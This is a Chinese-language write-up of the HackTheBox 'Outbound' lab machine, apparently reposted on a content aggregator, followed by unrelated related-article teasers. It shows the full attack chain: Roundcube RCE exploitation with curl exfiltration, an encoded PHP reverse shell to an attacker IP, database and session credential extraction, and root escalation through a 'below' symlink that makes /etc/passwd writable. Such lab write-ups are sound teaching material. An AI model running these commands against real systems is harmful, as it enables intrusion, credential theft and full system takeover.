HTB 賽季8靶場 - Outbound

Rustscan掃描

在這里插入圖片描述

我們開局便擁有賬號 tyler / LhKL1o9Nm3X2,我們使用rustscan進行掃描

rustscan -a 10.10.11.77 --range 1-65535 --scan-order "Random" -- -A 

![[Pasted image 20250714084857.png]]

Web服務漏洞探查

我們以賬號tyler / LhKL1o9Nm3X2登錄webmail,并快速確認版本信息。
![[Pasted image 20250714085806.png]]

該版本存在RCE漏洞
![[Pasted image 20250714085846.png]]

我們找到相應的CVE漏洞POC
![[Pasted image 20250714090518.png]]

反連shell建立

user權限獲取,我們先探測擁有哪些shell

#探測命令執行情況
php CVE-2025-49113.php 'http://mail.outbound.htb/' tyler LhKL1o9Nm3X2 'curl http://10.10.16.6:80/$(id | base64 -w0)'uid=33(www-data) gid=33(www-data) groups=33(www-data)#探測nc python 等軟件是否存在
php CVE-2025-49113.php 'http://mail.outbound.htb/' tyler LhKL1o9Nm3X2 'curl http://10.10.16.4:80/$(which python nc bash sh ncao curl rustcat openssl perl php ruby socat ndoe java telnet zsh lua golang vlang awk nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null| base64 -w0)'/usr/bin/bash
/usr/bin/sh
/usr/bin/curl
/usr/bin/openssl
/usr/bin/perl
/usr/bin/php
/usr/bin/socat
/usr/bin/awk
/usr/bin/wget
/usr/bin/curl
/usr/bin/base64
/usr/bin/socat
/usr/bin/perl
/usr/bin/php#使用bash開啟反向shell
php CVE-2025-49113.php 'http://mail.outbound.htb/' tyler LhKL1o9Nm3X2 'echo L3Vzci9iaW4vcGhwIC1yICckc29jaz1mc29ja29wZW4oIjEwLjEwLjE2LjQiLDkwMDEpO2V4ZWMoIi9iaW4vYmFzaCA8JjMgPiYzIDI+JjMiKTsn | base64 -d | bash'

![[Pasted image 20250714092916.png]]

Cat查詢存在用戶 & ss查詢端口開放情況

我們快速信息搜集,發現了用戶、端口等信息

cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
tyler:x:1000:1000::/home/tyler:/bin/bash
jacob:x:1001:1001::/home/jacob:/bin/bash
mel:x:1002:1002::/home/mel:/bin/bashss -tuln
Netid State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
tcp   LISTEN 0      100        127.0.0.1:25        0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:993       0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:995       0.0.0.0:*          
tcp   LISTEN 0      80         127.0.0.1:3306      0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:143       0.0.0.0:*          
tcp   LISTEN 0      511          0.0.0.0:80        0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:110       0.0.0.0:*          
tcp   LISTEN 0      100             [::]:993          [::]:*          
tcp   LISTEN 0      100             [::]:995          [::]:*          
tcp   LISTEN 0      100            [::1]:25           [::]:*          
tcp   LISTEN 0      100             [::]:143          [::]:*          
tcp   LISTEN 0      100             [::]:110          [::]:* 

爬取數據庫

我們發現了web服務的config文件/var/www/html/roundcube/config/config.inc.php

$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

我們嘗試訪問3306端口,進入數據庫

mysql -u roundcube -pRCDBPass2025 -e "SHOW DATABASES;"
mysql -u roundcube -pRCDBPass2025 -e "USE roundcube;SHOW TABLES;"
mysql -u roundcube -pRCDBPass2025 -e "USE roundcube;SELECT * FROM users ;"
mysql -u roundcube -pRCDBPass2025 -e "USE roundcube;SELECT * FROM session ;"

經過網上的查詢,我們了解到roundcube的users表并不包含密碼。所以我們轉戰session,我們解密session的var字段,獲取jacob用戶的密碼hash

L7Rv00A8TuwJAr67kITxxcSgnIk25Am

![[Pasted image 20250714110703.png]]
![[Pasted image 20250714110720.png]]

有趣的是我們還發現了/var/www/html/roundcube/bin/decrypt.sh工具

./decrypt.sh 'L7Rv00A8TuwJAr67kITxxcSgnIk25Am/'
595mO8DmwGeD

![[Pasted image 20250714110847.png]]

密碼正確,切換成功
![[Pasted image 20250714111059.png]]

翻找郵箱文件獲取賬戶密碼

我們登錄郵箱,發現郵件一個說jacob改了密碼,一個說jacob擁有below訪問權限。
![[Pasted image 20250714111614.png]]

![[Pasted image 20250714111625.png]]

gY4Wr3a1evp4

【TIP?】有趣的是我們密碼被修改了,可為什么su卻可以正常運行?是因為我們通過RCE進入的是一個虛擬機。

sudo二進制文件提權

接下來我們發現sudo -l 里面有一個命令below,并發現該命令的dump功能一旦出錯,就會寫入到/var/log/below/error_root.log 文件中。

-rw-rw-rw-  1 root  root      0 Jul 14 06:48 error_root.log

那么結合軟連接跳轉,我們可以創建新的文件,并且權限情況。

ln -sf /var/log/below/test /var/log/below/error_root.log
#出發錯誤從而寫入error_root.log文件
sudo below dump --snapshot /root/ disk --begin now#創建的新文件
-rw-rw-rw-  1 root  root    588 Jul 14 06:52 test

![[Pasted image 20250714145232.png]]

我們現在有創建新文件的能力,那么我們驗證以下是否擁有修改文件權限的能力。

rm test
touch test#獲得的文件權限
-rw-rw-r--  1 jacob jacob     0 Jul 14 06:55 test#執行攻擊
ln -sf /var/log/below/test /var/log/below/error_root.log
#出發錯誤從而寫入error_root.log文件
sudo below dump --snapshot /root/ disk --begin now#修改后的文件權限
-rw-rw-rw-  1 jacob jacob   226 Jul 14 06:56 test

可以看到文件的所有者沒有改變,但權限情況變了,所有人都可寫了,這可能非常危險。這就確定了我們可以修改/etc/passwd文件,也可以修改/root/.ssh/id_ed25519來完成提權。下面是兩種做法

# ==== /etc/passwd 版本 ====
ln -sf /etc/passwd /var/log/below/error_root.log
sudo below dump --snapshot /root/ disk --begin now
ls -al /etc/passwd
echo 'ydx::0:0:ydx:/root:/bin/bash' >> /etc/passwd
su ydx 

![[Pasted image 20250714150307.png]]

# ==== /root/.ssh/id_ed25519 版本 ====
ln -sf /root/.ssh/id_ed25519 /var/log/below/error_root.log
sudo below dump --snapshot /root/ disk --begin now
cat /root/.ssh/id_ed25519

![[Pasted image 20250714150057.png]]

沒能成功,暫時不了解為何,可能是/root/.ssh/文件夾的權限存在控制情況。后續進入root賬戶后,發現確實為該問題。
![[Pasted image 20250714150934.png]]

所以我們嘗試是否能夠用同樣的辦法修改文件夾權限,目錄沒法做到相同的事情,所以該方法無法使用。

ln -sf /root /var/log/below/error_root.log
sudo below dump --snapshot /root disk --begin now

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/88871.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/88871.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/88871.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

動態組件和插槽

[Vue2]動態組件和插槽 動態組件和插槽來實現外部傳入自定義渲染 組件 <template><!-- 回復的處理進度 --><div v-if"steps.length > 0" class"gain-box-header"><el-steps direction"vertical"><div class"l…

Unreal5從入門到精通之如何實現UDP Socket通訊

文章目錄 一.前言二.什么是FSocket1. FSocket的作用2. FSocket關鍵特性三.創建Socket四.數據傳輸五.線程安全六.UDPSocketComponentUDPSocketComponent.hUUDPSocketComponent.cpp七.SocketTest測試八.最后一.前言 我們在開發UE 的過程中,會經常使用到Socket通訊,包括TCP,UD…

UI前端大數據處理新趨勢:基于邊緣計算的數據處理與響應

hello寶子們...我們是艾斯視覺擅長ui設計、前端開發、數字孿生、大數據、三維建模、三維動畫10年經驗!希望我的分享能幫助到您!如需幫助可以評論關注私信我們一起探討!致敬感謝感恩!一、引言&#xff1a;前端大數據的 “云端困境” 與邊緣計算的破局當用戶在在線文檔中實時協作…

Reading and Writing to a State Variable

本節是《Solidity by Example》的中文翻譯與深入講解&#xff0c;專為零基礎或剛接觸區塊鏈開發的小白朋友打造。我們將通過“示例 解說 提示”的方式&#xff0c;帶你逐步理解每一段 Solidity 代碼的實際用途與背后的邏輯。Solidity 是以太坊等智能合約平臺使用的主要編程語…

c# 深度解析:實現一個通用配置管理功能,打造高并發、可擴展的配置管理神器

文章目錄深入分析 ConfigManager<TKey, TValue> 類1. 類設計概述2. 核心成員分析2.1 字段和屬性2.2 構造函數3. 數據加載機制4. CRUD 操作方法4.1 添加數據4.2 刪除數據4.3 更新數據4.4 查詢數據4.5 清空數據5. 數據持久化6. 設計亮點7. 使用示例ConfigManager<TKey, …

運維打鐵: Python 腳本在運維中的常用場景與實現

文章目錄引言思維導圖常用場景與代碼實現1. 服務器監控2. 文件管理3. 網絡管理4. 自動化部署總結注意事項引言 在當今的 IT 運維領域&#xff0c;自動化和效率是至關重要的。Python 作為一種功能強大且易于學習的編程語言&#xff0c;已經成為運維人員不可或缺的工具。它可以幫…

【零基礎入門unity游戲開發——unity3D篇】3D光源之——unity反射和反射探針技術

文章目錄 前言實現天空盒反射1、新建一個cube2、全反射材質3、增加環境反射分辨率反射探針1、一樣把小球材質調成全反射2、在小球身上加添加反射探針3、設置靜態物體4、點擊烘培5、效果6、可以修改反射探針區域大小7、實時反射專欄推薦完結前言 當對象收到直接和間接光照后,它…

React Three Fiber 實現 3D 模型點擊高亮交互的核心技巧

在 WebGL 3D 開發中&#xff0c;模型交互是提升用戶體驗的關鍵功能之一。本文將基于 React Three Fiber&#xff08;R3F&#xff09;和 Three.js&#xff0c;總結 3D 模型點擊高亮&#xff08;包括模型本身和邊框&#xff09;的核心技術技巧&#xff0c;幫助開發者快速掌握復雜…

卷積神經網絡實戰:MNIST手寫數字識別

夜漸深&#xff0c;我還在&#x1f618; 老地方 睡覺了&#x1f64c; 文章目錄&#x1f4da; 卷積神經網絡實戰&#xff1a;MNIST手寫數字識別&#x1f9e0; 4.1 預備知識?? 4.1.1 torch.nn.Conv2d() 三維卷積操作&#x1f4cf; 4.1.2 nn.MaxPool2d() 池化層的作用&#x1f4…

HarmonyOS應用無響應(AppFreeze)深度解析:從檢測原理到問題定位

HarmonyOS應用無響應&#xff08;AppFreeze&#xff09;深度解析&#xff1a;從檢測原理到問題定位 在日常應用使用中&#xff0c;我們常會遇到點擊無反應、界面卡頓甚至完全卡死的情況——這些都可能是應用無響應&#xff08;AppFreeze&#xff09; 導致的。對于開發者而言&am…

湖北設立100億元人形機器人產業投資母基金

湖北設立100億元人形機器人產業投資母基金 湖北工信 2025年07月08日 12:03 湖北 &#xff0c;時長01:20 近日&#xff0c;湖北設立100億元人形機器人產業投資母基金&#xff0c;重點支持人形機器人和人工智能相關產業發展。 人形機器人產業投資母基金由湖北省財政廳依托省政府…

時序預測 | Pytorch實現CNN-LSTM-KAN電力負荷時間序列預測模型

預測效果 代碼主要功能 該代碼實現了一個結合CNN&#xff08;卷積神經網絡&#xff09;、LSTM&#xff08;長短期記憶網絡&#xff09;和KAN&#xff08;Kolmogorov-Arnold Network&#xff09;的混合模型&#xff0c;用于時間序列預測任務。主要流程包括&#xff1a; 數據加…

OCR 識別:車牌識別相機的 “火眼金睛”

車牌識別相機在交通管理、停車場收費等場景中&#xff0c;需快速準確識別車牌信息。但實際環境中&#xff0c;車牌可能存在污漬、磨損、光照不均等情況&#xff0c;傳統識別方式易出現誤讀、漏讀。OCR 技術讓車牌識別相機如虎添翼。它能精準提取車牌上的字符&#xff0c;不管是…

Java面試基礎:面向對象(2)

1. 接口里可以定義哪些方法抽象方法&#xff1a;抽象方法是接口的核心部分&#xff0c;所有實現接口的類都必須實現這些方法。抽象方法默認是 public 和 abstract 修飾&#xff0c;這些修飾符可以省略。public interface Animal {void Sound(); }默認方法&#xff1a;默認方法是…

有哪些更加簡潔的for循環?循環語句?

目錄 簡潔的for循環 循環過程修改循環變量 循環語句 不同編程語言支持的循環語句 foreach 無限循環 for循環歷史 break和continue 循環判斷結束值 循環標簽 循環語句優化 循環表達式返回值 簡潔的for循環 如果需要快速枚舉一個集合的元素&#xff0c;盡管C語言可以…

RK3568/3588 Android 12 源碼默認使用藍牙mic錄音

遇到客戶一個需求&#xff0c;如果連接了帶mic的藍牙耳機&#xff0c;默認所有的錄音要走藍牙mic通道。這個功能搞了好久&#xff0c;終于搞定了。1. 向RK尋求幫助&#xff0c;先打通 bt sco能力。此時&#xff0c;還無法默認就切換到藍牙 mic通道&#xff0c;接下來我們需求默…

解鎖HTTP:從理論到實戰的奇妙之旅

目錄一、HTTP 協議基礎入門1.1 HTTP 協議是什么1.2 HTTP 協議的特點1.3 HTTP 請求與響應的結構二、HTTP 應用場景大揭秘2.1 網頁瀏覽2.2 API 調用2.3 文件傳輸2.4 內容分發網絡&#xff08;CDN&#xff09;2.5 流媒體服務三、HTTP 應用實例深度剖析3.1 使用 JavaScript 的 fetc…

uvm_config_db examples

通過uvm_config_db類訪問的UVM配置數據庫,是在多個測試平臺組件之間傳遞不同對象的絕佳方式。 methods 有兩個主要函數用于從數據庫中放入和檢索項目,分別是 set() 和 get()。 static function void set ( uvm_component cntxt,string inst_name,string …

(C++)任務管理系統(文件存儲)(正式版)(迭代器)(list列表基礎教程)(STL基礎知識)

目錄 前言&#xff1a; 源代碼&#xff1a; 代碼解析&#xff1a; 一.頭文件和命名空間 1. #include - 輸入輸出功能2. #include - 鏈表容器3. #include - 字符串處理4. using namespace std; - 命名空間 可視化比喻&#xff1a;建造房子 &#x1f3e0; 二.menu()函數 …

Java 中的異步編程詳解

前言 在現代軟件開發中&#xff0c;異步編程&#xff08;Asynchronous Programming&#xff09; 已經成為構建高性能、高并發應用程序的關鍵技術之一。Java 作為一門廣泛應用于后端服務開發的語言&#xff0c;在其發展過程中不斷引入和優化異步編程的支持。從最初的 Thread 和…